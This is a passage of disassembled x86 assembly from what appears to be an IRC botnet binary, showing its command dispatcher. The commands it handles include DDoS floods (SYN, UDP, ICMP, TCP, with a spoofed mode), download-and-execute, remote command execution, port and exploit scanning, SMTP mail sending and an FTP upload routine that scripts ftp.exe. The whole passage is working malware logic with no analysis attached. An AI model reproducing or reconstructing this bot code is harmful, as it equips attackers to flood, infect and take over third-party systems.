		push	[ebp+arg_4]
		call	sub_40E337
		add	esp, 10h
		test	eax, eax
		jz	short loc_411077
		push	offset dword_4377C8
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------


loc_411077:				; CODE XREF: sub_40EE72+21FCj
		push	offset dword_43779C
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------


loc_41107E:				; CODE XREF: sub_40EE72+2198j
		push	edi
		push	offset aSend	; "send"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4110C9
		cmp	[ebp+arg_18], ebx
		jz	short loc_4110C2
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E5EB
		add	esp, 10h


loc_4110AB:				; CODE XREF: sub_40EE72+2119j
					; sub_40EE72+214Aj ...
		push	eax
		push	offset aS_1	; "%s"


loc_4110B1:				; CODE XREF: sub_40EE72+4852j
					; sub_40EE72+4B79j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE


loc_4110BD:				; CODE XREF: sub_40EE72+5701j
		add	esp, 0Ch
		jmp	short loc_4110DC
; ---------------------------------------------------------------------------


loc_4110C2:				; CODE XREF: sub_40EE72+2220j
		push	offset dword_43776C
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------


loc_4110C9:				; CODE XREF: sub_40EE72+221Bj
		push	offset dword_437740


loc_4110CE:				; CODE XREF: sub_40EE72+203Bj
					; sub_40EE72+20A5j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_4110DC:				; CODE XREF: sub_40EE72+2043j
					; sub_40EE72+224Ej ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4110FD
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_4110FD:				; CODE XREF: sub_40EE72+226Dj
					; sub_40EE72+4847j ...
		mov	esi, [ebp+arg_24]


loc_411100:				; CODE XREF: sub_40EE72+9B3j
					; sub_40EE72+4B35j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		mov	eax, esi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_411114:				; CODE XREF: sub_40EE72+2020j
		push	[ebp+arg_8]
		push	offset aCom_capture ; "com.capture"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413400
		push	[ebp+arg_8]
		push	offset aCom_cap	; "com.cap"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413400
		push	[ebp+arg_8]
		push	offset aIrc_gethost ; "irc.gethost"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413312
		push	[ebp+arg_8]
		push	offset aIrc_gh	; "irc.gh"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413312
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_addalias ; "irc.addalias"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E0
		push	[ebp+arg_8]
		push	offset aIrc_aa	; "irc.aa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E0
		push	[ebp+arg_8]
		push	offset aIrc_privmsg ; "irc.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328A
		push	[ebp+arg_8]
		push	offset aIrc_pm	; "irc.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328A
		push	[ebp+arg_8]
		push	offset aIrc_action ; "irc.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413224
		push	[ebp+arg_8]
		push	offset aIrc_ac	; "irc.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413224
		push	[ebp+arg_8]
		push	offset aIrc_cycle ; "irc.cycle"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BB
		push	[ebp+arg_8]
		push	offset aIrc_cy	; "irc.cy"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BB
		push	[ebp+arg_8]
		push	offset aIrc_mode ; "irc.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413181
		push	[ebp+arg_8]
		push	offset aIrc_m	; "irc.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413181
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413113
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413113
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41308E
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41308E
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413022
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413022
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFC
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFC
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F99
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F99
		push	[ebp+arg_8]
		push	offset aIrc_repeat ; "irc.repeat"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED0
		push	[ebp+arg_8]
		push	offset aIrc_rp	; "irc.rp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED0
		push	[ebp+arg_8]
		push	offset aIrc_delay ; "irc.delay"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E33
		push	[ebp+arg_8]
		push	offset aIrc_de	; "irc.de"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E33
		push	[ebp+arg_8]
		push	offset aDownload_updat ; "download.update"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CAF
		push	[ebp+arg_8]
		push	offset aDownload_up ; "download.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CAF
		push	[ebp+arg_8]
		push	offset aCom_execute ; "com.execute"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1C
		push	[ebp+arg_8]
		push	offset aCom_e	; "com.e"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1C
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1B
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1B
		push	[ebp+arg_8]
		push	offset aCom_rename ; "com.rename"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AC9
		push	[ebp+arg_8]
		push	offset aCom_mv	; "com.mv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AC9
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C8
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C8
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DD
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DD
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DA
		push	[ebp+arg_8]
		push	offset aDdos_synf ; "ddos.synf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DA
		push	[ebp+arg_8]
		push	offset aDownload_wget ;	"download.wget"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412599
		push	[ebp+arg_8]
		push	offset aDownload_wg ; "download.wg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412599
		push	[ebp+arg_8]
		push	offset aDaemon_redirec ; "daemon.redirect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249C
		push	[ebp+arg_8]
		push	offset aDaemon_rd ; "daemon.rd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249C
		push	[ebp+arg_8]
		push	offset aRoot_portscan ;	"root.portscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123A9
		push	[ebp+arg_8]
		push	offset aRoot_ps	; "root.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123A9
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D4
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D4
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BC
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BC
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aAdv	; "adv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aDdos_tcpf ; "ddos.tcpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41189C
		lea	eax, [ebp+var_3F8]
		push	edi
		push	eax
		call	sub_4179C0
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_DB0]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_BA8]
		push	eax
		call	sub_4179C0
		push	offset asc_42A3B4 ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_80]
		call	sub_40A7D7
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4179C0
		add	esp, 30h
		lea	eax, [ebp+var_6EC]
		push	eax
		push	101h
		call	dword_43F5E0
		lea	eax, [ebp+var_3F8]
		push	eax
		call	dword_43F6EC
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_43F6E8
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_2EC], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2E8], eax
		call	dword_43F668
		mov	[ebp+var_2EA], ax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_BA8]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4172AE
		add	esp, 1Ch
		lea	eax, [ebp+var_2EC]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43F680
		lea	eax, [ebp+var_CAC]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_15B0]
		push	eax
		push	esi
		call	dword_43F6B8
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43F680
		push	esi
		call	dword_43F700
		call	dword_43F5C8
		lea	eax, [ebp+var_BA8]
		push	eax
		push	offset unk_4373F4


loc_411888:				; CODE XREF: sub_40EE72+3B51j
					; sub_40EE72+3E38j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	loc_413A62
; ---------------------------------------------------------------------------


loc_41189C:				; CODE XREF: sub_40EE72+28C0j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F45
		push	4
		push	esi
		call	sub_40D000
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411906
		push	esi
		push	offset dword_43739C
		jmp	loc_413BFB
; ---------------------------------------------------------------------------


loc_411906:				; CODE XREF: sub_40EE72+2A87j
		call	near ptr 2600000h
		nop
		push	eax
		call	sub_417300
		pop	ecx
		call	sub_41730A
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730A
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730A
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_CB0]
		push	edx
		push	eax
		lea	eax, [ebp+var_BAC]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_BAC]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40F239
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_417956
		push	[ebp+arg_24]
		call	sub_417900
		add	esp, 20h
		lea	eax, [ebp+var_BAC]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43F5DC
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_4119D3
		push	offset dword_437324
		jmp	short loc_4119D8
; ---------------------------------------------------------------------------


loc_4119D3:				; CODE XREF: sub_40EE72+2B58j
		push	offset dword_4372E8


loc_4119D8:				; CODE XREF: sub_40EE72+2B5Fj
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_411A01
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_411A01:				; CODE XREF: sub_40EE72+2B71j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D


loc_411A0D:				; CODE XREF: sub_40EE72+2BC0j
		lea	eax, [ebp+var_BAC]
		push	4
		push	eax
		call	sub_40D000
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40F239
		lea	eax, [ebp+var_BAC]
		push	eax
		call	sub_419BBA
		jmp	short loc_411A0D
; ---------------------------------------------------------------------------


loc_411A34:				; CODE XREF: sub_40EE72+2A3Bj
					; sub_40EE72+2A52j
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406AF8


loc_411A5D:				; CODE XREF: sub_40EE72+5878j
		add	esp, 24h
		jmp	loc_414F45
; ---------------------------------------------------------------------------


loc_411A65:				; CODE XREF: sub_40EE72+2892j
					; sub_40EE72+28A9j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		push	offset dword_4372B0
		jmp	loc_4145FC
; ---------------------------------------------------------------------------


loc_411AC8:				; CODE XREF: sub_40EE72+2C1Cj
					; sub_40EE72+2C33j ...
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_411BF4
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_6F8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_0]
		call	sub_41781F
		mov	[ebp+var_574], eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_56C], ebx
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_411B65
		mov	eax, offset aNormal ; "Normal"


loc_411B65:				; CODE XREF: sub_40EE72+2CECj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_43725C
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ch
		push	eax
		call	sub_416D5A
		add	esp, 2Ch
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_401D82
		push	ebx
		push	ebx
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_411BE3


loc_411BCD:				; CODE XREF: sub_40EE72+2D6Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460A
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_411BCD
; ---------------------------------------------------------------------------


loc_411BE3:				; CODE XREF: sub_40EE72+2D59j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset dword_437214
		jmp	loc_413BFB
; ---------------------------------------------------------------------------


loc_411BF4:				; CODE XREF: sub_40EE72+2C67j
		push	offset dword_4371CC
		jmp	loc_4145FC
; ---------------------------------------------------------------------------


loc_411BFE:				; CODE XREF: sub_40EE72+284Dj
					; sub_40EE72+2864j ...
		cmp	dword_43F758, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_411D09
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_310], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset unk_437174
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Eh
		push	eax
		call	sub_416D5A
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40AF86
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_411CF8


loc_411CE6:				; CODE XREF: sub_40EE72+2E84j
		cmp	[ebp+var_2FC], ebx
		jnz	short loc_411D22
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_411CE6
; ---------------------------------------------------------------------------


loc_411CF8:				; CODE XREF: sub_40EE72+2E72j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_43712C
		jmp	loc_4128CC
; ---------------------------------------------------------------------------


loc_411D09:				; CODE XREF: sub_40EE72+2D95j
		push	1FFh
		lea	eax, [ebp+var_2DC]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_418C10


loc_411D1F:				; CODE XREF: sub_40EE72+3A66j
		add	esp, 0Ch


loc_411D22:				; CODE XREF: sub_40EE72+2E7Aj
					; sub_40EE72+2FD2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E0F
		push	ebx
		push	[ebp+var_4]


loc_411D2F:				; CODE XREF: sub_40EE72+567Cj
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_414627
; ---------------------------------------------------------------------------


loc_411D42:				; CODE XREF: sub_40EE72+2808j
					; sub_40EE72+281Fj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_310], eax
		jz	short loc_411DA7
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_30C], eax
		jmp	short loc_411DAD
; ---------------------------------------------------------------------------


loc_411DA7:				; CODE XREF: sub_40EE72+2F24j
		mov	[ebp+var_30C], ebx


loc_411DAD:				; CODE XREF: sub_40EE72+2F33j
		push	7Fh
		lea	eax, [ebp+var_418]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset dword_4370BC
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Fh
		push	eax
		call	sub_416D5A
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40B112
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_411E54


loc_411E3E:				; CODE XREF: sub_40EE72+2FE0j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_411E3E
; ---------------------------------------------------------------------------


loc_411E54:				; CODE XREF: sub_40EE72+2FCAj
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset dword_437074
		jmp	loc_4128CC
; ---------------------------------------------------------------------------


loc_411E65:				; CODE XREF: sub_40EE72+27DAj
					; sub_40EE72+27F1j
		push	8
		call	sub_416FA2
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_41781F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 258h
		jle	short loc_411EB8
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2DC]
		push	offset unk_437028
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414F45
; ---------------------------------------------------------------------------


loc_411EB8:				; CODE XREF: sub_40EE72+300Fj
		push	edi
		call	sub_41781F
		push	[ebp+arg_18]
		mov	[ebp+var_330], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		add	esp, 0Ch
		cmp	eax, 2
		mov	[ebp+var_32C], eax
		jnb	short loc_411EF1
		push	2
		pop	eax
		mov	[ebp+var_32C], eax


loc_411EF1:				; CODE XREF: sub_40EE72+3074j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_411EFE
		mov	[ebp+var_32C], ecx


loc_411EFE:				; CODE XREF: sub_40EE72+3084j
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_328], eax
		jbe	short loc_411F1E
		mov	[ebp+var_328], 320h


loc_411F1E:				; CODE XREF: sub_40EE72+30A0j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
